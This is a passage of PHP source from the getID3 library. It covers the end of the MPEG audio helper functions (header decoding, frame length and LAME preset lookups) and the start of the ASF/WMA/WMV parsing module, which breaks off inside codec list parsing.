	 * @param string $Header4Bytes
	 *
	 * @return array|false
	 */
	public static function MPEGaudioHeaderDecode($Header4Bytes) {
		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
		// A - Frame sync (all bits set)
		// B - MPEG Audio version ID
		// C - Layer description
		// D - Protection bit
		// E - Bitrate index
		// F - Sampling rate frequency index
		// G - Padding bit
		// H - Private bit
		// I - Channel Mode
		// J - Mode extension (Only if Joint stereo)
		// K - Copyright
		// L - Original
		// M - Emphasis

		if (strlen($Header4Bytes) != 4) {
			return false;
		}

		$MPEGrawHeader = array();
		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
		$MPEGrawHeader['version']       = (ord($Header4Bytes[1]) & 0x18) >> 3; //    BB
		$MPEGrawHeader['layer']         = (ord($Header4Bytes[1]) & 0x06) >> 1; //      CC
		$MPEGrawHeader['protection']    = (ord($Header4Bytes[1]) & 0x01);      //        D
		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE
		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes[2]) & 0x0C) >> 2; //     FF
		$MPEGrawHeader['padding']       = (ord($Header4Bytes[2]) & 0x02) >> 1; //       G
		$MPEGrawHeader['private']       = (ord($Header4Bytes[2]) & 0x01);      //        H
		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II
		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; //   JJ
		$MPEGrawHeader['copyright']     = (ord($Header4Bytes[3]) & 0x08) >> 3; //     K
		$MPEGrawHeader['original']      = (ord($Header4Bytes[3]) & 0x04) >> 2; //      L
		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes[3]) & 0x03);      //       MM

		return $MPEGrawHeader;
	}

	/**
	 * @param int|string $bitrate
	 * @param string     $version
	 * @param string     $layer
	 * @param bool       $padding
	 * @param int        $samplerate
	 *
	 * @return int|false
	 */
	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
		static $AudioFrameLengthCache = array();

		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
			if ($bitrate != 'free') {

				if ($version == '1') {

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 48;
						$SlotLength = 4;

					} else { // Layer 2 / 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					}

				} else { // MPEG-2 / MPEG-2.5

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 24;
						$SlotLength = 4;

					} elseif ($layer == '2') {

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					} else { // layer 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 72;
						$SlotLength = 1;

					}

				}

				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
				if ($samplerate > 0) {
					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
					if ($padding) {
						$NewFramelength += $SlotLength;
					}
					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
				}
			}
		}
		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
	}

	/**
	 * @param float|int $bit_rate
	 *
	 * @return int|float|string
	 */
	public static function ClosestStandardMP3Bitrate($bit_rate) {
		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
		static $bit_rate_table = array (0=>'-');
		$round_bit_rate = intval(round($bit_rate, -3));
		if (!isset($bit_rate_table[$round_bit_rate])) {
			if ($round_bit_rate > max($standard_bit_rates)) {
				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
			} else {
				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
				foreach ($standard_bit_rates as $standard_bit_rate) {
					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
						break;
					}
					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
				}
			}
		}
		return $bit_rate_table[$round_bit_rate];
	}

	/**
	 * @param string $version
	 * @param string $channelmode
	 *
	 * @return int
	 */
	public static function XingVBRidOffset($version, $channelmode) {
		static $XingVBRidOffsetCache = array();
		if (empty($XingVBRidOffsetCache)) {
			$XingVBRidOffsetCache = array (
				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
								'stereo'        => 0x24, // 4 + 32 = 36
								'joint stereo'  => 0x24,
								'dual channel'  => 0x24
							   ),

				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
								'stereo'        => 0x15, // 4 + 17 = 21
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   ),

				'2.5' => array ('mono'          => 0x15,
								'stereo'        => 0x15,
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   )
			);
		}
		return $XingVBRidOffsetCache[$version][$channelmode];
	}

	/**
	 * @param int $VBRmethodID
	 *
	 * @return string
	 */
	public static function LAMEvbrMethodLookup($VBRmethodID) {
		static $LAMEvbrMethodLookup = array(
			0x00 => 'unknown',
			0x01 => 'cbr',
			0x02 => 'abr',
			0x03 => 'vbr-old / vbr-rh',
			0x04 => 'vbr-new / vbr-mtrh',
			0x05 => 'vbr-mt',
			0x06 => 'vbr (full vbr method 4)',
			0x08 => 'cbr (constant bitrate 2 pass)',
			0x09 => 'abr (2 pass)',
			0x0F => 'reserved'
		);
		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
	}

	/**
	 * @param int $StereoModeID
	 *
	 * @return string
	 */
	public static function LAMEmiscStereoModeLookup($StereoModeID) {
		static $LAMEmiscStereoModeLookup = array(
			0 => 'mono',
			1 => 'stereo',
			2 => 'dual mono',
			3 => 'joint stereo',
			4 => 'forced stereo',
			5 => 'auto',
			6 => 'intensity stereo',
			7 => 'other'
		);
		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
	}

	/**
	 * @param int $SourceSampleFrequencyID
	 *
	 * @return string
	 */
	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
		static $LAMEmiscSourceSampleFrequencyLookup = array(
			0 => '<= 32 kHz',
			1 => '44.1 kHz',
			2 => '48 kHz',
			3 => '> 48kHz'
		);
		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
	}

	/**
	 * @param int $SurroundInfoID
	 *
	 * @return string
	 */
	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
		static $LAMEsurroundInfoLookup = array(
			0 => 'no surround info',
			1 => 'DPL encoding',
			2 => 'DPL2 encoding',
			3 => 'Ambisonic encoding'
		);
		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
	}

	/**
	 * @param array $LAMEtag
	 *
	 * @return string
	 */
	public static function LAMEpresetUsedLookup($LAMEtag) {

		if ($LAMEtag['preset_used_id'] == 0) {
			// no preset used (LAME >=3.93)
			// no preset recorded (LAME <3.93)
			return '';
		}
		$LAMEpresetUsedLookup = array();

		/////  THIS PART CANNOT BE STATIC .
		for ($i = 8; $i <= 320; $i++) {
			switch ($LAMEtag['vbr_method']) {
				case 'cbr':
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
					break;
				case 'abr':
				default: // other VBR modes shouldn't be here(?)
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
					break;
			}
		}

		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()

		// named alt-presets
		$LAMEpresetUsedLookup[1000] = '--r3mix';
		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';

		// LAME 3.94 additions/changes
		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003

		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[410]  = '-V9';
		$LAMEpresetUsedLookup[420]  = '-V8';
		$LAMEpresetUsedLookup[440]  = '-V6';
		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[490]  = '-V1';
		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003

		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
	}

}
<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.asf.php                                  //
// module for analyzing ASF, WMA and WMV files                 //
// dependencies: module.audio-video.riff.php                   //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

class getid3_asf extends getid3_handler
{
	protected static $ASFIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	protected static $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint',
		0xFF => 'Frame Number Offset'
	);

	protected static $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = array(
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	/**
	 * @param getID3 $getid3
	 */
	public function __construct(getID3 $getid3) {
		parent::__construct($getid3);  // extends getid3_handler::__construct()

		// initialize all GUID constants
		$GUIDarray = $this->KnownGUIDs();
		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
			if (!defined($GUIDname)) {
				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// Shortcuts
		$thisfile_audio = &$info['audio'];
		$thisfile_video = &$info['video'];
		$info['asf']  = array();
		$thisfile_asf = &$info['asf'];
		$thisfile_asf['comments'] = array();
		$thisfile_asf_comments    = &$thisfile_asf['comments'];
		$thisfile_asf['header_object'] = array();
		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];


		// ASF structure:
		// * Header Object [required]
		//   * File Properties Object [required]   (global file attributes)
		//   * Stream Properties Object [required] (defines media stream & characteristics)
		//   * Header Extension Object [required]  (additional functionality)
		//   * Content Description Object          (bibliographic information)
		//   * Script Command Object               (commands for during playback)
		//   * Marker Object                       (named jumped points within the file)
		// * Data Object [required]
		//   * Data Packets
		// * Index Object

		// Header Object: (mandatory, one only)
		// Field Name                   Field Type   Size (bits)
		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
		// Number of Header Objects     DWORD        32              // number of objects in header object
		// Reserved1                    BYTE         8               // hardcoded: 0x01
		// Reserved2                    BYTE         8               // hardcoded: 0x02

		$info['fileformat'] = 'asf';

		$this->fseek($info['avdataoffset']);
		$HeaderObjectData = $this->fread(30);

		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
			unset($info['fileformat'], $info['asf']);
			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
		}
		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));

		$NextObjectOffset = $this->ftell();
		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
		$offset = 0;
		$thisfile_asf_streambitratepropertiesobject = array();
		$thisfile_asf_codeclistobject = array();
		$StreamPropertiesObjectData = array();

		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
			$offset += 8;
			switch ($NextObjectGUID) {

				case GETID3_ASF_File_Properties_Object:
					// File Properties Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
					// Flags                        DWORD        32              //
					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
					// * Seekable Flag              bits         1  (0x02)       // is file seekable
					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead

					// shortcut
					$thisfile_asf['file_properties_object'] = array();
					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];

					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
					$offset += 8;
					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);

					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;

					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {

						// broadcast flag is set, some values invalid
						unset($thisfile_asf_filepropertiesobject['filesize']);
						unset($thisfile_asf_filepropertiesobject['data_packets']);
						unset($thisfile_asf_filepropertiesobject['play_duration']);
						unset($thisfile_asf_filepropertiesobject['send_duration']);
						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
						unset($thisfile_asf_filepropertiesobject['max_packet_size']);

					} else {

						// broadcast flag NOT set, perform calculations
						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);

						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
						$info['bitrate'] = getid3_lib::SafeDiv($thisfile_asf_filepropertiesobject['filesize'] * 8, $info['playtime_seconds']);
					}
					break;

				case GETID3_ASF_Stream_Properties_Object:
					// Stream Properties Object: (mandatory, one per media stream)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
					// Flags                        WORD         16              //
					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
					// Reserved                     DWORD        32              // reserved - set to zero
					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type

					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
					// stream number isn't known until halfway through decoding the structure, hence it
					// it is decoded to a temporary variable and then stuck in the appropriate index later

					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);

					$offset += 4; // reserved - DWORD
					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
					$offset += $StreamPropertiesObjectData['type_data_length'];
					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
					$offset += $StreamPropertiesObjectData['error_data_length'];

					switch ($StreamPropertiesObjectData['stream_type']) {

						case GETID3_ASF_Audio_Media:
							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');

							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
							unset($audiodata['raw']);
							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
							break;

						case GETID3_ASF_Video_Media:
							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
							break;

						case GETID3_ASF_Command_Media:
						default:
							// do nothing
							break;

					}

					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
					unset($StreamPropertiesObjectData); // clear for next stream, if any
					break;

				case GETID3_ASF_Header_Extension_Object:
					// Header Extension Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects

					// shortcut
					$thisfile_asf['header_extension_object'] = array();
					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];

					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
						$this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
						$this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
					$unhandled_sections = 0;
					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
					if ($unhandled_sections === 0) {
						unset($thisfile_asf_headerextensionobject['extension_data']);
					}
					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
					break;

				case GETID3_ASF_Codec_List_Object:
					// Codec List Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
					// Codec Entries                array of:    variable        //
					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content

					// shortcut
					$thisfile_asf['codec_list_object'] = array();
					/** @var mixed[] $thisfile_asf_codeclistobject */
					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object'];

					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
						$this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					if ($thisfile_asf_codeclistobject['codec_entries_count'] > 0) {
						$thisfile_asf_codeclistobject['codec_entries'] = array();
					}
					$offset += 4;
					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
						// shortcut
						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];

